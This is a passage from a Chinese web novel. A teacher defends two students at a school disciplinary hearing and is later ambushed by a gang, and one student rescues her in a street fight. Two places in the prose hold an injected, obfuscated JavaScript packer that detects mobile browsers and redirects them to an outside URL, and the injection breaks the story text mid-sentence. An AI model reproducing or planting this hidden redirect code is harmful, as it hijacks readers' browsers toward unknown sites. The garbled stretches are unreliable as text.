但他自己这么快就气急败坏地跳出来,不就反而坐实了谢昭所言非虚吗? 不过也是,赵志军他压根就不认为自己说的话、做的事是错的,他或许还觉得领导们刚刚的话是想要维护自己呢。 “领导们,所以事实真相如何,我想我也不必再赘述了。”徐嘉禾摇了摇头,“事发突然,谢昭作为一个十六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117123|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁的学生,在当时的情境下情绪失控,是可以理解的。” 刘主任皱了皱眉:“徐老师,你这偏袒得也太明显了吧?” “我不是偏袒,我只是实话实说,”徐嘉禾迎上他的目光,“刘主任,如果今天挨打受辱的不是谢昭和吕晓杨,而是您的女儿或者是您本人,您会忍气吞声吗?” 刘主任噎住了,悻悻地挪开眼神,不再多话。 “我只是一时口不择言了,”赵志军还想挣扎,“但是学生打老师,这个性质是相当恶劣的……” “一时口不择言,就能这样贬低、侮辱你的学生吗?”李校长的声音里带了怒意,“赵志军,你的师德师风去哪里了?体罚学生,还是用戒尺打脸?你是旧社会的私塾先生吗?” 这话要往严重了说,那可就大有说头,赵志军立马蔫了,低下头不敢再吭声。 “所以,我希望各位领导能够客观地看待这件事情,”徐嘉禾道,“不要最后闹到警察局或者什么别的地方,再验个伤,那事情就麻烦了。” 李校长的脸色变了变:“徐老师,这种事情也没有必要闹到这么大吧?” “我知道。”徐嘉禾点头,“所以我才希望学校能够公正处理,既不让老师受委屈,也不让学生蒙冤。” “我明白了,”胡丽华冲徐嘉禾点了点头,脸上的皱纹舒展开,“徐老师,你带学生先出去等一下,我们讨论一下。” “好的,校长。”徐嘉禾二话不说,带着两个女孩退出了校长办公室,顺手轻轻关上门。 校长办公室隔音太好,她们在走廊上什么都听不到,安静得有些可怕。 吕晓杨小声问:“徐老师,我们会被开除吗?” “不会的,”徐嘉禾拍拍她的肩,“要是他们敢开除你们,我就陪他们闹到底,大不了连我一起开除呗。” 谢昭自从赵志军开口反驳她开始,就一直沉默着,这时忽然开口说:“徐老师,谢谢你。” “谢什么,我是你的班主任。”徐嘉禾笑了笑,“下次再遇到这种事,第一时间来找我,也别忍着。” “我怕给你添麻烦。”谢昭低声说,徐嘉禾惊讶地发现少女的眼中似乎有些晶莹,只是倔强地忍住了,没有让眼泪掉下来。 “你傻啊,有免费劳动力不用白不用呗,”徐嘉禾摇摇头,“我的用处就是给你们解决麻烦的。” 大约二十分钟后,会议室的门开了。 刘主任探出头来:“徐老师,校长请你们进来。” 三人重新走进会议室,领导之间的气氛明显缓和了许多。 李校长清了清嗓子:“我们的决定是,第一,赵志军老师教育方式相当不当,暂时停课一周反思。” “第二,谢昭同学在课堂上与老师动手,情节恶劣,记一次警告;但考虑到事出有因,处分暂时不录入档案,如果再犯同类事件,绝不轻饶。” “至于徐老师,”王校长看向徐嘉禾,“你作为班主任,应该对班级管理负起责任,这件事影响确实过于恶劣,你还是得写一份三千字的反思报告交上来。” 这个结果已经比徐嘉禾曾经所担心的好很多了。 警告不录入档案,等同于无事发生;至于她自己要写劳什子的报告,那就更是小事了,是以她愉快地接受了这个结果。 徐嘉禾诚恳地向领导们承认了自己的错误,带着松了口气的谢昭和吕晓杨向外走,意味深长地看了赵志军一眼。 赵志军老师,您可还有一份大礼等着签收呢。 14. 第 14 章 解决了头上悬着的达摩克利斯之剑,三个人都放松下来,有说有笑地往教学楼走去。 看着两个女孩走进五班的教室,徐嘉禾靠在走廊的墙壁上,长长地吐出一口气,庆幸自己过了这一关。 她推开办公室的门,许晴几乎是扑上来的,眼镜片后的眼睛睁得溜圆:“怎么样?学校那边怎么说?” “还好,谢昭记了个警告,但不会录入档案,算是什么也没发生。”徐嘉禾用手背捂着眼睛,闻言简单说了处理结果,也把事情的前因后果统统说了一遍。 许晴听得咂舌,跟着徐嘉禾一起痛骂赵志军这个老不死的。听到处理结果,她松了口气,又皱眉:“赵志军呢?就这么算了?” “他被停了一周课,我估计他也不敢造次了,”徐嘉禾绘声绘色地给许晴讲了半天,觉得口干舌燥,又拿起水杯喝了口水,“以及,这件事情之后,绝对不能再让赵志军继续当五班物理老师了。” “话是这么说,”许晴叹了口气,“徐嘉禾,不是我想说你们班的学生。别的老师不知道内情,按刻板印象想你们班,估计没一个敢在这个档口来给你们班当物理老师的。” “我也在想这件事,”这正是徐嘉禾最担心的问题,她绝望地捂着脸,闷闷地说,“走一步看一步吧,实在不行,我看看我能不能上去顶一下?” “你疯了?”许晴不可置信地看着她,抬手去摸徐嘉禾额头,“这也没发烧啊?你个语文老师,教物理?” “这不是没办法了吗?”徐嘉禾没什么底气地说,“我高考理科考得还挺好的。” 这是实话,虽然徐嘉禾上大学学的是文科专业,但选科是理科。她理综成绩可以说是优异至极,这才上了国内最顶尖的大学。 “教书和学习是两回事吧,”许晴觉得徐嘉禾一定是被今天跌宕起伏的事情打击到疯掉了,“你的意思是,你准备又教语文、又教物理,还当班主任?” “总不能真让咱班没物理老师吧?”徐嘉禾听着就觉得自己的前途相当暗淡,整个人都萎靡了下去,却还是坚持着说,“没有办法也是一种办法。” 许晴看着她认真的侧脸,忽然叹了口气:“徐嘉禾,有时候我真看不懂你,你之前不是跟我说,你最嫌麻烦吗?这会儿怎么这么负责任了?” “可能是因为,”徐嘉禾刚摊开工作报告补起来,闻言停下笔,若有所思,“我觉得他们需要我吧。” ……她又不能告诉许晴,她要是不负责任,她的未来就彻底完蛋了。 许晴摇摇头,不再劝了。 她回自己的位置看书喝茶,过了一会儿,像是想起什么似的,忽然开口道:“对了,你听说了吗?赵志军那点事,已经在学生间传开了。” 徐嘉禾写字手一顿:“什么事?” “就他靠父亲和老丈人关系的事啊。”许晴压低声音,“我都不知道是怎么传出去的,这件事不是只是在我们老师内部知道吗?” 徐嘉禾垂下眼帘,掩住眼中的一丝得逞笑意:“谁知道呢?可能是学生们的消息灵通吧。” “你少来,我本来还想呢,刚刚听你说了,越想越不对。”许晴瞪她一眼,“你放出去的风声,是也不是?你这打击报复真及时啊,半个上午就能传遍全年级?” “那你得感谢五班的情报网,”徐嘉禾冲许晴眨了眨眼睛,“五班别的不一定行,人脉绝对是优势。” 她人逢喜事精神爽,本来还萎靡不振一副精气不足的样子,这会儿大仇得报,外加听到同事的八卦,腰也不弯了、气也不叹了,神清气爽:“他纯活该,惹谁不好、惹五班这群混世魔王。” 下午,高二五班师生互殴事件的处理结果,以及赵志军靠完爹靠老丈人的光辉历史,彻底在整个锦大附中传开了。 五班的教室里,气氛则有些微妙了起来。 一方面,大家觉得谢昭为民除害,其大无畏精神简直可以大肆宣扬;另一方面,他们又担心起徐嘉禾会不会因此受牵连,或者对五班彻底失望。 下午最后一节是自习课,徐嘉禾拿着一叠批改好的试卷走进教室。 教室瞬间安静下来,所有人都惴惴不安地看着她。 徐嘉禾把试卷放在讲台上,没有立刻说什么,只是静静地看过讲台下每一张青涩而表情紧张的脸。 “今天的事情,”她终于开口,“我相信大家应该都知道了。” 学生们屏住呼吸。 “首先,关于赵老师的事情,学校已有处理,我也会向学校报告,为我们班换一位物理老师。”徐嘉禾语气平静,“其次,谢昭和吕晓杨有错,她们也付出了代价。这件事,到此为止。” 她顿了顿,话锋一转:“但是,有件事,我需要向大家道歉。” 五班的同学们一愣。 徐嘉禾微微鞠躬:“今天早上,在得知事情发生的那一瞬间,我承认,我感受到了一种真心被辜负的愤怒。” “然而,事实证明,我大错特错,”徐嘉禾继续说,“你们没有错,而我没有坚持对你们的信任,这是我的刻板印象导致的。我认为,我需要为此向你们道歉。” “从今往后,我会更加地相信你们,我也希望,在这次事件之后,你们也能够更加信任我;互相信任,才是良好关系的开端。” 教室里安静得落针可闻,几十双眼睛看着讲台上真诚鞠躬道歉的年轻老师,一时间连呼吸的频率都放缓了。 “好了,煽情的话就说这么多,”徐嘉禾直起身,脸上又恢复了平日里带着些调侃的神情,“闲话少叙,下周就是半期考试了,都打起精神来,让学校知道我们五班值得更好的物理老师。” 五班的同学发出了一阵哀嚎声,但氛围明显松弛了下来,这种感叹里的排斥也少了不少,更多的是一种气氛组的本能。 放学铃声响起,学生们鱼贯而出,今天居然还有不少同学书包里装了不少书回家,一副要认真学习的架势。 徐嘉禾倒也没真的指望他们的成绩突飞猛进,但见学生们做出这幅样子,她心里也欣慰了不少。 她收拾好东西,最后检查了一遍教室门窗,才锁上门,推着那辆旧自行车离开校园。 冬日的傍晚黑得早,不过下午六点,天色已经暗了下来,街灯次第亮起,洒下昏黄的光晕。 徐嘉禾紧了紧围巾,迎着微寒的晚风,骑车驶向回家的路。 通往她家的小路比较僻静,两旁是老旧的居民楼,路灯间隔很远,光线昏暗。 平时徐嘉禾走惯了,倒还不觉得有什么,谁知今天巷子里静得出奇,连平日蹲在墙根闲聊的邻居都不见踪影。 一丝若有若无的不安爬上脊背,她下意识加快了些蹬车的速度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117124|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在快要骑出这一截巷子、来到一盏大路灯底下时,前方岔口忽然晃出几个人影,不偏不倚挡在了路中间。 天太黑了,他们出来得又突然,徐嘉禾差点没反应过来。自行车的前轮几乎要撞上其中一人的腿,她连忙捏紧手刹,轮胎摩擦地面发出刺耳的声音,自己也差点从车上摔下去。 那几人上前一步,为首的那个流里流气的站姿,熟悉的、惹人生厌的脸,不是黄毛还能是谁? “这不是我们锦大附中的徐老师吗?”黄毛眯眼,“怎么这么晚才下班,等死我了。” 徐嘉禾觉得自己命好苦,果然人倒霉的时候喝凉水都能塞牙,走夜路都能撞鬼。 她扫了一圈周围,现在骑自行车跑可能也有点来不及了,再加上这个点,大家几乎都呆在家里吃晚饭了,街上行人寥寥无几,要喊人,一时半会儿也没人能来。 她只能尽量保持冷静,淡淡地问:“有事?” “没事,就是上次徐老师太威风了,我想带着哥几个来学习学习,”黄毛一个眼神,周围一群人慢慢围了上来,“之前跑空几次,今天终于被我们逮着机会了。” 他不说还好,一说,徐嘉禾更觉得自己命苦了。 上一周她几乎天天在加班,开各种各样的会、写各种各样的报告,每天到家的时间比狗睡觉的时间还晚、出门的时间比鸡起床的时间还早,黄毛按一般人下班的点来堵人,当然只能堵到空气了。 好不容易今天白天解决了一件大事,徐嘉禾想着晚上早点下班回家,给自己放个假,结果就被混混堵了。 一想到这茬,徐嘉禾就觉得自己现在身上怨气森森,一口气打十个小混混都算泄愤了。 “不是说好了,愿赌服输吗?”当然,话是这么说,徐嘉禾也不敢真的打十个小混混,所以她只是攥住车把手,冷冷地说。 “街溜子的话你也信?”黄毛睁大了眼睛,往地上啐了一口,“我说你们老师是不是教书教傻了啊?老子又不是学生,你以为我那么好糊弄过去?” 徐嘉禾:“……那你想怎么样?” 其实,谢昭他们与其说是变好了,不如说是本性就不坏,只是没有人愿意像徐嘉禾这样去对他们罢了。 徐嘉禾也不会真的以为自己的教学水平有多高超,还妄想着去感化黄毛这帮子人。 “很简单,要么破财免灾,要么……”黄毛的眼神把徐嘉禾从头到脚扫了一遍,“我相信你挨几下打,应该还是承受得住的,对不对?” “所以,明明就还是因为缺钱嘛,”徐嘉禾都要无力吐槽了,“我就不明白了,要么抢小孩游戏币、要么打劫穷得叮当响的年轻老师,你们干坏事都不能干点有出息的吗?” “我要是能干点什么有出息的事,我还至于继续当小混混吗?”黄毛翻了个白眼,对自我的认知倒是相当清晰,“别废话了,赶紧选了,选完我和兄弟们还要吃晚饭呢。” “所以,我给你们钱,你们就拿钱去吃饭;不给你们钱,你们是不是又要去吃霸王餐?”徐嘉禾好奇地问。 她一边问这些有的没的,一边用余光观察周围有没有人经过她好求救,只可惜连一个人影都没有。 “那倒不是,”黄毛诚实地说,“周围的餐馆老板统统记住我们的脸了,我们敢进他们的店,他们就要报警。” 徐嘉禾:“……” 15. 第 15 章 徐嘉禾心中清楚,今天怕是难以轻易脱身,对方人多势众,又在这僻静处,硬碰硬绝非上策。 “要钱没有,”徐嘉禾也不是贪财,她身上是真没钱,“我这个月工资还没发,身上就几块钱饭钱,说不定比你们还穷呢。” “你看我信不信你,”黄毛嗤笑,“当老师的人能穷成什么样?” “我是新老师,级别低工资低少,开销还大,”徐嘉禾实话实说,“你们要是不信,可以搜啊。” 她说着,还主动把自行车筐里的布袋子拿了出来,打开给黄毛看,里面只有她的教案本、一支钢笔、一个铝饭盒,还有零散的五毛一块纸币,一打眼看过去不超过五块钱。 黄毛将信将疑地伸长脖子,往布袋子里瞅了一眼,确实寒酸得可以,有些恼羞成怒:“这么穷?真晦气!” “我都说了没骗你们,”徐嘉禾耸了耸肩,把布袋子重新系好,放回车筐,“差不多得了吧,你还想干嘛?” “那怎么行,钱虽然没有,气还是要出的,”黄毛凑近一步,“上次你让我在那么多人面前丢脸,这笔帐不得好好算算吗?” 看来讲道理是行不通了。徐嘉禾手心渗出冷汗,她悄悄将一只手伸口袋,摸了一圈,别的似乎都没什么用,唯有钢笔有些攻击力,但也只是聊胜于无。 就在黄毛伸手要来拽她车把的瞬间,徐嘉禾猛地将自行车往前一推,车头撞向黄毛腹部,同时自己侧身向旁边一闪,转身就跑,大喊:“抢劫啊!有人抢劫!” 前方不远就是大路,她要是跑到大路上,说不定还有一线希望。 徐嘉禾的声音在寂静的巷子里回荡,显得格外尖锐刺耳。黄毛被自行车撞得一个趔趄,惊怒道:“闭嘴!” 他扑上来想捂徐嘉禾的嘴,徐嘉禾抽出紧紧攥在手里的钢笔,用尽力气朝他眼睛的方向扎去。 黄毛本能地躲,钢笔扎到了他颊侧,蓝黑色的墨水混着血往下滴,显得他整个人格外阴森恐怖。 “给脸不要脸是吧?”黄毛慌乱地伸手去摸,只差一点就扎到眼睛了。他又怕又恼,一巴掌就朝徐嘉禾扇过来。 徐嘉禾矮身躲过,踉跄着退后几步,后背抵住冰冷的砖墙,再无路可退。另外几个混混见状,一个个跟着围了上来,徐嘉禾几乎被堵死在墙角。 黄毛不知从哪里掏了把水果刀出来,装模作样地在徐嘉禾眼前比划:“怎么样?还跑吗?” “砰!” 正在这时,异变陡生。 一声闷响,伴随着重物落地的声音和一声惨叫,突兀地划破了近乎凝滞的空气。 所有人皆是一愣,循声望去。 只见巷口那盏昏黄的路灯下,不知何时多了一道高挑的身影。那人手里掂着一根空心的铁管,脚边一个原本想要偷袭徐嘉禾的混混,正跪在地上,痛得捂着手臂说不出话。 “哐当!” 又是一声闷响,另一个想从侧面扑上来的混混被铁管扫中腿弯,惨叫着摔倒在地。 来人动作干净狠厉,没半点花哨,每一下都冲着关节这类能让对手失去行动力、但又不会像打后脑勺一样致死的地方去。 徐嘉禾呆呆地看着那人的方向,看不清对方的面容,只能看见握着铁管的、利落有力的手臂线条,和快得几乎带出残影的动作。 黄毛后退了一步,眼睁睁地看着那人往这个方向走,逐渐走进了这片路灯光所照得到的范围,众人这才看清了她的脸。 是谢昭。 谢昭不知什么时候来的,穿件黑色的夹克衫配牛仔裤,马尾高高扎起,巷子里的冷风卷过来,吹得她衣摆微扬,她紧紧盯着黄毛,拖着钢管一步步靠近。 钢管在地上摩擦发出刺耳的“呲啦”声音,再加上这个颇具压迫感的打光,徐嘉禾有种错觉,自己看到了电视剧里面的杀人狂魔,谢昭拖着的铁管都要变成镰刀了。 “黄毛,”谢昭在两人面前停住,“有完没完?” “这话该我问你吧?”黄毛脸上的表情惊讶中带着恼怒,“怎么哪儿都有你?” “今天我正好找我们班主任有点事,谁知道能碰到你。”谢昭把铁管杵在地上,发出沉闷的声响,“你要不然就滚蛋,要不然就跟我打,废话怎么这么多。” 黄毛脸上肌肉抽动,挥刀前冲,水果刀划出一道寒光。谢昭侧身险险避开刀锋,手中铁管顺势横扫,把要近身的几人逼得急急后退。 但她还没来得及转守为攻,黄毛的第二刀已至,这次谢昭躲开稍慢,刀锋在她左臂划开一道浅浅的口子。 疼痛让谢昭咬紧了牙关,她不仅没有收回手臂,反而旋身,不顾刀尖因而划得更深,扬起铁管,带着破风声狠狠砸在黄毛肩颈处。 黄毛只觉得手臂一酸,失去了知觉,那把小水果刀也拿捏不住,落在地上,被谢昭一脚踢开。 谢昭的铁管已经换了个方向,挑起抵在黄毛喉结下方。 一切发生得太快,徐嘉禾几乎没有反应过来。 但在她看到另一个小混混从地上爬了起来、正准备用半块砖从后方偷袭谢昭时,徐嘉禾什么也顾不上了,本能地顺手抄起铝饭盒,往对方的后脑砸去。 她力气小,铝饭盒的重量轻,是以没造成什么严重的伤害,但也足以让小混混的动作停滞片刻,下意识捂着脑袋回头找罪魁祸首。 他发现是徐嘉禾动的手,难以置信地怒视着她。 “怎么连老师都敢打人了?”小混混骂骂咧咧,全然忘了自己才是先动手的一方,倒像受了天大的委屈一般大呼小叫起来。 就这一刻,已经足够谢昭反应过来,她回身一记肘击,正中对方下颌。那人痛得弯下腰,谢昭抬膝补上一下,他便彻底蜷缩在地了。 “谢昭,这女的上次让我丢脸,这口气我咽不下去,”黄毛捂着已经完全麻木的手臂,色厉内荏,“你真要为了个老师跟我翻脸?” 谢昭手里的铁管又往前抵了半分,黄毛被迫往后仰了仰头,喉结滚动。 “翻脸就翻脸,你以为我怕你?”谢昭冷冷地说,“咽不下去,那就给我憋着。” 谢昭的左臂伤口不算深,但动作幅度太大,撕扯伤口已经开始流血了,暗红色的液体顺着小臂往下淌,滴在地面上。 但她握铁管的手依然很稳,眼睛眨都没眨。 黄毛被铁管顶着喉咙,脸色在灯光下显得更加惨白,但他眼神里的凶狠还没完全散去,死死瞪着谢昭,又恨恨地扫向徐嘉禾。 谢昭像感觉不到手上粘腻的血迹似的,只将铁管又往前送了半分:“还不滚?” 黄毛喉结上下滚动,刚要再放几句狠话,另一个清冷的声音,从巷子另一端幽幽传来: “谢昭,我报警了,警察马上就到。” 一时间,徐嘉禾、谢昭、黄毛,还有地上躺着的两个,都往声音来源的方向看了过去。 徐湛的身影从巷口更深的阴影里走出来,他看样子是跑回来的,有些气喘吁吁,脸色在昏暗光线下显得格外苍白,眼神却努力保持着镇定,直直盯着黄毛那伙人。 黄毛一伙人听到“警察”两个字,脸色齐刷刷变了。 他们只是社会青年,最怕的就是穿制服的,锦宁治安虽不算顶好,但上升到持刀伤人的地步了,真被逮进去关上几 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伤口不深,但划得颇长,皮肉翻卷,鲜血正不断地渗出来,染红了谢昭衣服的袖子,看起来颇为吓人。 “谢昭!”徐嘉禾的心揪紧了,小心翼翼地托住谢昭受伤的左臂,声音都变了调,“你怎么样?疼不疼?” 谢昭原本还绷着脸维持高冷,被徐嘉禾这么一碰,疼得“嘶”了一声,差点破功,但嘴上却仍然硬气:“没事,皮外伤,看着吓人而已。” “什么皮外伤!流这么多血!”徐嘉禾又急又气,更多的是心疼和自责。 脚步声终于到了巷口,两个穿着制服的民警打着手电筒,警惕地照了过来。 “谁报的警?怎么回事?”一个中年民警利落地上前,目光锐利地扫过现场。 “我报的警,有几个流氓在这里持械抢劫我们老师,”徐湛上前一步,指了指徐嘉禾,又看向谢昭,“还想行凶伤人,我同学为了保护老师,跟他们打起来了,受了伤。” 民警看了看徐嘉禾,又看向满手是血的谢昭,表情严肃起来:“持械抢劫?人呢?” “跑了,刚跑不久,往那个方向。”徐湛指了一下黄毛他们逃离的方向。 年轻些的民警蹲下身检查谢昭的伤口,抬头看向中年民警:“哥,伤口需要处理,你把人先送医院吧,我去追追看。” 中年民警点点头,迅速向同伴交代了几句。年轻民警立即朝黄毛逃跑的方向追去,身影很快消失在巷子的拐角。 “伤得确实不轻,得赶紧处理,”中年民警蹲下身,仔细查看了谢昭手臂上的伤口,“小姑娘挺勇敢,但下次遇到这种事,保护自己是第一位的,记住了吗?” 谢昭没吭声,徐嘉禾知道她指定没听进去,悄悄捏了捏她没受伤的右手,谢昭才勉强点了点头。 “我是锦大附中的老师,徐嘉禾,”徐嘉禾定了定神,向民警解释道,“这两位是我的学生,谢昭和徐湛。今天多亏了他们。” 民警的目光在三人之间转了一圈,倒也没多问,只是利落地站起身:“情况我大概了解了。徐老师,麻烦你跟我回所里做个笔录。这位同学我会找一位民警陪着,去医院包扎一下。” “我没事……”谢昭还想嘴硬,被徐嘉禾一个眼神制止了。 “听警察同志的。”徐嘉禾语气不容置疑。 她看向徐湛,本想让徐湛先回家,免得家人担心。 但她看着少年苍白的脸色,话到嘴边又改了主意:“徐湛,你也一起来吧,做个笔录,然后我们一起回去。”